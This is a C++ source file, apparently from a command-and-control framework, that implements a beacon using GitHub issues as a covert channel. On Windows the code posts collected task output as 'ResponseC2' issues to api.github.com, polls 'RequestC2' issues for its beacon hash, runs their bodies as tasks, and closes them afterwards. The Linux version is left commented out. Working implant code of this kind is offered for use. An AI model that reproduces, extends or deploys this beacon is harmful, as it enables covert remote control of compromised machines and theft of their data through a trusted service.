mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
510 lines
15 KiB
C++
510 lines
15 KiB
C++
#include "BeaconGithub.hpp"
|
|
|
|
|
|
#ifdef __linux__
|
|
|
|
#define CPPHTTPLIB_OPENSSL_SUPPORT
|
|
#include "httplib.h"
|
|
|
|
#elif _WIN32
|
|
|
|
#include <WinHttp.h>
|
|
#pragma comment(lib, "winhttp.lib")
|
|
|
|
#endif
|
|
|
|
|
|
using namespace std;
|
|
using json = nlohmann::json;
|
|
|
|
|
|
#ifdef __linux__
|
|
|
|
using namespace httplib;
|
|
|
|
#elif _WIN32
|
|
|
|
std::wstring getUtf16(const std::string& str, int codepage)
|
|
{
|
|
if (str.empty())
|
|
return std::wstring();
|
|
int sz = MultiByteToWideChar(codepage, 0, &str[0], (int)str.size(), 0, 0);
|
|
std::wstring res(sz, 0);
|
|
MultiByteToWideChar(codepage, 0, &str[0], (int)str.size(), &res[0], sz);
|
|
return res;
|
|
}
|
|
|
|
|
|
int BeaconGithub::GithubPost(const string& domain, const string& url, const string& data, string &response)
|
|
{
|
|
bool isHttps = true;
|
|
wstring sdomain = getUtf16(domain, CP_UTF8);
|
|
wstring surl = getUtf16(url, CP_UTF8);
|
|
|
|
DWORD dwSize = 0;
|
|
|
|
LPSTR pszOutBuffer;
|
|
BOOL bResults = FALSE;
|
|
HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL;
|
|
|
|
// Use WinHttpOpen to obtain a session handle.
|
|
hSession = WinHttpOpen(L"WinHTTP Example/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
|
|
|
|
// Specify an HTTP server.
|
|
if (hSession)
|
|
hConnect = WinHttpConnect(hSession, sdomain.c_str(), INTERNET_DEFAULT_HTTPS_PORT, 0);
|
|
|
|
// Create an HTTP request handle.
|
|
DWORD dwFlags = 0;
|
|
if(isHttps)
|
|
dwFlags = WINHTTP_FLAG_REFRESH | WINHTTP_FLAG_SECURE;
|
|
|
|
if (hConnect)
|
|
hRequest = WinHttpOpenRequest(hConnect, L"POST", surl.c_str(), NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, dwFlags);
|
|
|
|
// Add a request header.
|
|
if( hRequest )
|
|
{
|
|
std::string auth = "token ";
|
|
auth+=m_token;
|
|
|
|
json httpHeaders = {
|
|
{ "Accept", "application/vnd.github+json" },
|
|
{ "Authorization", auth },
|
|
{ "Cookie", "logged_in=no" }
|
|
};
|
|
|
|
for (auto& it : httpHeaders.items())
|
|
{
|
|
std::string newHeader = (it).key();
|
|
newHeader+=":";
|
|
newHeader+=(it).value();
|
|
|
|
std::wstring stemp = std::wstring(newHeader.begin(), newHeader.end());
|
|
|
|
bResults = WinHttpAddRequestHeaders( hRequest, stemp.c_str(), (ULONG)-1L, WINHTTP_ADDREQ_FLAG_ADD );
|
|
}
|
|
}
|
|
|
|
// Post data
|
|
LPSTR pdata = const_cast<char*>(data.c_str());;
|
|
DWORD lenData = data.size();
|
|
|
|
// Send a request.
|
|
if (hRequest)
|
|
bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, (LPVOID)pdata, lenData, lenData, 0);
|
|
|
|
if (!bResults)
|
|
printf("Error %d has occurred.\n", GetLastError());
|
|
|
|
// End the request.
|
|
if (bResults)
|
|
bResults = WinHttpReceiveResponse(hRequest, NULL);
|
|
|
|
DWORD dwStatusCode = 0;
|
|
dwSize = sizeof(dwStatusCode);
|
|
|
|
WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &dwStatusCode, &dwSize, WINHTTP_NO_HEADER_INDEX);
|
|
|
|
// Keep checking for data until there is nothing left.
|
|
response.clear();
|
|
if (bResults)
|
|
{
|
|
do
|
|
{
|
|
// Check for available data.
|
|
dwSize = 0;
|
|
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
|
|
{
|
|
// printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
|
|
}
|
|
|
|
// Allocate space for the buffer.
|
|
pszOutBuffer = new char[dwSize + 1];
|
|
if (!pszOutBuffer)
|
|
{
|
|
// printf("Out of memory\n");
|
|
dwSize = 0;
|
|
}
|
|
else
|
|
{
|
|
// Read the data.
|
|
ZeroMemory(pszOutBuffer, dwSize + 1);
|
|
|
|
DWORD dwDownloaded = 0;
|
|
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
|
|
{
|
|
// printf("Error %u in WinHttpReadData.\n", GetLastError());
|
|
}
|
|
else
|
|
{
|
|
// printf("%s", pszOutBuffer);
|
|
response = response + string(pszOutBuffer);
|
|
}
|
|
|
|
// Free the memory allocated to the buffer.
|
|
delete[] pszOutBuffer;
|
|
}
|
|
} while (dwSize > 0);
|
|
}
|
|
|
|
// std::cout << "dwStatusCode " << std::to_string(dwStatusCode) << std::endl;
|
|
// std::cout << "response " << response << std::endl;
|
|
|
|
// Close any open handles.
|
|
if (hRequest)
|
|
WinHttpCloseHandle(hRequest);
|
|
if (hConnect)
|
|
WinHttpCloseHandle(hConnect);
|
|
if (hSession)
|
|
WinHttpCloseHandle(hSession);
|
|
|
|
return dwStatusCode;
|
|
}
|
|
|
|
|
|
int BeaconGithub::GithubGet(const string& domain, const string& url, string& response)
|
|
{
|
|
bool isHttps = true;
|
|
wstring sdomain = getUtf16(domain, CP_UTF8);
|
|
wstring surl = getUtf16(url, CP_UTF8);
|
|
|
|
DWORD dwSize = 0;
|
|
|
|
LPSTR pszOutBuffer;
|
|
BOOL bResults = FALSE;
|
|
HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL;
|
|
|
|
// Use WinHttpOpen to obtain a session handle.
|
|
hSession = WinHttpOpen(L"WinHTTP Example/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
|
|
|
|
// Specify an HTTP server.
|
|
if (hSession)
|
|
hConnect = WinHttpConnect(hSession, sdomain.c_str(), INTERNET_DEFAULT_HTTPS_PORT, 0);
|
|
|
|
// Create an HTTP request handle.
|
|
DWORD dwFlags = 0;
|
|
if(isHttps)
|
|
dwFlags = WINHTTP_FLAG_REFRESH | WINHTTP_FLAG_SECURE;
|
|
|
|
if (hConnect)
|
|
hRequest = WinHttpOpenRequest(hConnect, L"GET", surl.c_str(), NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, dwFlags);
|
|
|
|
// Add a request header.
|
|
if( hRequest )
|
|
{
|
|
std::string auth = "token ";
|
|
auth+=m_token;
|
|
|
|
json httpHeaders = {
|
|
{ "Accept", "application/vnd.github+json" },
|
|
{ "Authorization", auth },
|
|
{ "Cookie", "logged_in=no" }
|
|
};
|
|
|
|
for (auto& it : httpHeaders.items())
|
|
{
|
|
std::string newHeader = (it).key();
|
|
newHeader+=":";
|
|
newHeader+=(it).value();
|
|
|
|
std::wstring stemp = std::wstring(newHeader.begin(), newHeader.end());
|
|
|
|
bResults = WinHttpAddRequestHeaders( hRequest, stemp.c_str(), (ULONG)-1L, WINHTTP_ADDREQ_FLAG_ADD );
|
|
}
|
|
}
|
|
|
|
// Send a request.
|
|
if (hRequest)
|
|
bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
|
|
|
|
if (!bResults)
|
|
printf("Error %d has occurred.\n", GetLastError());
|
|
|
|
// End the request.
|
|
if (bResults)
|
|
bResults = WinHttpReceiveResponse(hRequest, NULL);
|
|
|
|
DWORD dwStatusCode = 0;
|
|
dwSize = sizeof(dwStatusCode);
|
|
|
|
WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &dwStatusCode, &dwSize, WINHTTP_NO_HEADER_INDEX);
|
|
|
|
// Keep checking for data until there is nothing left.
|
|
response.clear();
|
|
if (bResults)
|
|
{
|
|
do
|
|
{
|
|
// Check for available data.
|
|
dwSize = 0;
|
|
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
|
|
{
|
|
// printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
|
|
}
|
|
|
|
// Allocate space for the buffer.
|
|
pszOutBuffer = new char[dwSize + 1];
|
|
if (!pszOutBuffer)
|
|
{
|
|
// printf("Out of memory\n");
|
|
dwSize = 0;
|
|
}
|
|
else
|
|
{
|
|
// Read the data.
|
|
ZeroMemory(pszOutBuffer, dwSize + 1);
|
|
|
|
DWORD dwDownloaded = 0;
|
|
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
|
|
{
|
|
// printf("Error %u in WinHttpReadData.\n", GetLastError());
|
|
}
|
|
else
|
|
{
|
|
// printf("%s", pszOutBuffer);
|
|
response = response + string(pszOutBuffer);
|
|
}
|
|
|
|
// Free the memory allocated to the buffer.
|
|
delete[] pszOutBuffer;
|
|
}
|
|
} while (dwSize > 0);
|
|
}
|
|
|
|
// Report any errors.
|
|
if (!bResults)
|
|
printf("Error %d has occurred.\n", GetLastError());
|
|
|
|
return dwStatusCode;
|
|
}
|
|
|
|
|
|
int BeaconGithub::HandleRequest(const string& domain, const string& url)
|
|
{
|
|
string response;
|
|
int statusCode = GithubGet(domain, url, response);
|
|
|
|
std::cout << "statusCode " << std::to_string(statusCode) << std::endl;
|
|
std::cout << "response " << response.size() << std::endl;
|
|
|
|
if(!response.empty() && (statusCode==200 || statusCode==201))
|
|
{
|
|
json jsonIssues = json::parse(response);
|
|
|
|
// for every issue in the list
|
|
for (json::iterator it = jsonIssues.begin(); it != jsonIssues.end(); ++it)
|
|
{
|
|
std::string title = (*it)["title"];
|
|
std::string body = (*it)["body"];
|
|
int nbComments = (*it)["comments"];
|
|
int number = (*it)["number"];
|
|
|
|
std::cout << "title " << title << std::endl;
|
|
std::cout << "body " << body.size() << std::endl;
|
|
std::cout << "nbComments " << nbComments << std::endl;
|
|
|
|
if(nbComments!=0)
|
|
{
|
|
std::string issueEndpoint = "/repos/";
|
|
issueEndpoint += m_project;
|
|
issueEndpoint += "/issues/";
|
|
issueEndpoint += std::to_string(number);
|
|
issueEndpoint += "/comments";
|
|
|
|
statusCode = GithubGet(domain, issueEndpoint, response);
|
|
|
|
std::cout << "comments statusCode " << std::to_string(statusCode) << std::endl;
|
|
std::cout << "comments response " << response.size() << std::endl;
|
|
|
|
json jsonComments = json::parse(response);
|
|
|
|
for (json::iterator itc = jsonComments.begin(); itc != jsonComments.end(); ++itc)
|
|
{
|
|
std::string bodyComments = (*itc)["body"];
|
|
body+=bodyComments;
|
|
|
|
std::cout << "bodyComments " << bodyComments.size() << std::endl;
|
|
std::cout << "concate " << body.size() << std::endl;
|
|
}
|
|
}
|
|
|
|
if(title.rfind("RequestC2: ", 0) == 0)
|
|
{
|
|
std::string marker = "RequestC2: ";
|
|
std::size_t pos = title.find(marker);
|
|
if (pos == std::string::npos)
|
|
{
|
|
continue;
|
|
}
|
|
pos += marker.length();
|
|
std::string beaconHash = title.substr(pos);
|
|
|
|
if(beaconHash!=m_beaconHash)
|
|
{
|
|
continue;
|
|
}
|
|
|
|
std::cout << "cmdToTasks body " << body.size() << std::endl;
|
|
|
|
cmdToTasks(body);
|
|
|
|
// close the issue
|
|
std::string issueEndpoint = "/repos/";
|
|
issueEndpoint += m_project;
|
|
issueEndpoint += "/issues/";
|
|
issueEndpoint += std::to_string(number);
|
|
|
|
// Post data
|
|
json responseData = {{"state", "closed"}};
|
|
std::string finalBody = responseData.dump();
|
|
|
|
GithubPost(domain, issueEndpoint, finalBody, response);
|
|
}
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
#endif
|
|
|
|
|
|
|
|
BeaconGithub::BeaconGithub(std::string& config, const std::string& project, const std::string& token)
|
|
: Beacon()
|
|
, m_project(project)
|
|
, m_token(token)
|
|
{
|
|
m_aliveTimerMs = 1000 * 10;
|
|
srand(time(NULL));
|
|
|
|
// beacon and modules config
|
|
initConfig(config);
|
|
}
|
|
|
|
|
|
BeaconGithub::~BeaconGithub()
|
|
{
|
|
}
|
|
|
|
|
|
void BeaconGithub::checkIn()
|
|
{
|
|
|
|
#ifdef __linux__
|
|
|
|
// TODO
|
|
// std::string url = "https://api.github.com";
|
|
|
|
// std::string token = "token ";
|
|
// token+=m_token;
|
|
|
|
// httplib::Headers headers = {
|
|
// { "Accept", "application/vnd.github+json" },
|
|
// { "Authorization", token },
|
|
// { "Cookie", "logged_in=no" }
|
|
// };
|
|
|
|
// httplib::Client cli(url);
|
|
|
|
// std::string endpoint = "/repos/";
|
|
// endpoint += m_project;
|
|
// endpoint += "/issues";
|
|
|
|
// std::cout << "endpoint " << endpoint << std::endl;
|
|
|
|
// // Post response
|
|
// std::string output;
|
|
// taskResultsToCmd(output);
|
|
|
|
// if(!output.empty())
|
|
// {
|
|
// json responseData = {
|
|
// {"title", "ResponseC2: test"},
|
|
// {"body", output},
|
|
// };
|
|
|
|
// std::string data = responseData.dump();
|
|
// std::string contentType = "application/json";
|
|
// auto response = cli.Post(endpoint, headers, data, contentType);
|
|
// }
|
|
|
|
// // Handle request
|
|
// auto response = cli.Get(endpoint, headers);
|
|
|
|
// response->status;
|
|
// response->body;
|
|
// std::cout << "response->body " << response->body << std::endl;
|
|
|
|
// if(!response->body.empty())
|
|
// {
|
|
// json my_json = json::parse(response->body);
|
|
|
|
// // for every issue in the list
|
|
// for (json::iterator it = my_json.begin(); it != my_json.end(); ++it)
|
|
// {
|
|
// std::string json_str = (*it).dump();
|
|
// auto issue = json::parse(json_str);
|
|
|
|
// std::string title = issue["title"];
|
|
// std::string body = issue["body"];
|
|
|
|
// std::cout << "title " << title << std::endl;
|
|
// std::cout << "body " << body << std::endl;
|
|
|
|
// if(title.rfind("RequestC2: ", 0) == 0)
|
|
// {
|
|
// if(!body.empty())
|
|
// {
|
|
// cmdToTasks(body);
|
|
// }
|
|
|
|
// std::string number = issue["number"];
|
|
// std::string issueEndpoint = "/repos/";
|
|
// issueEndpoint += m_project;
|
|
// issueEndpoint += "/issues/";
|
|
// issueEndpoint += number;
|
|
// // auto response = cli.Post(issueEndpoint, headers, data, contentType);
|
|
// }
|
|
// }
|
|
// }
|
|
|
|
|
|
#elif _WIN32
|
|
|
|
std::string url = "api.github.com";
|
|
|
|
std::string endPoint = "/repos/";
|
|
endPoint += m_project;
|
|
endPoint += "/issues";
|
|
|
|
std::cout << "endPoint " << endPoint << std::endl;
|
|
|
|
std::string output;
|
|
taskResultsToCmd(output);
|
|
|
|
// Sent response
|
|
// TODO handle big response with multiple comments
|
|
std::string reponseTitle = "ResponseC2: ";
|
|
reponseTitle+=m_beaconHash;
|
|
json responseData = {{"title", reponseTitle}, {"body", output}};
|
|
std::string finalBody = responseData.dump();
|
|
string response;
|
|
std::cout << "GithubPost " << std::endl;
|
|
|
|
GithubPost(url, endPoint, finalBody, response);
|
|
|
|
// Handle Request
|
|
std::cout << "HandleRequest " << std::endl;
|
|
|
|
HandleRequest(url, endPoint);
|
|
|
|
std::cout << "end " << std::endl;
|
|
|
|
|
|
#endif
|
|
|
|
|
|
}
|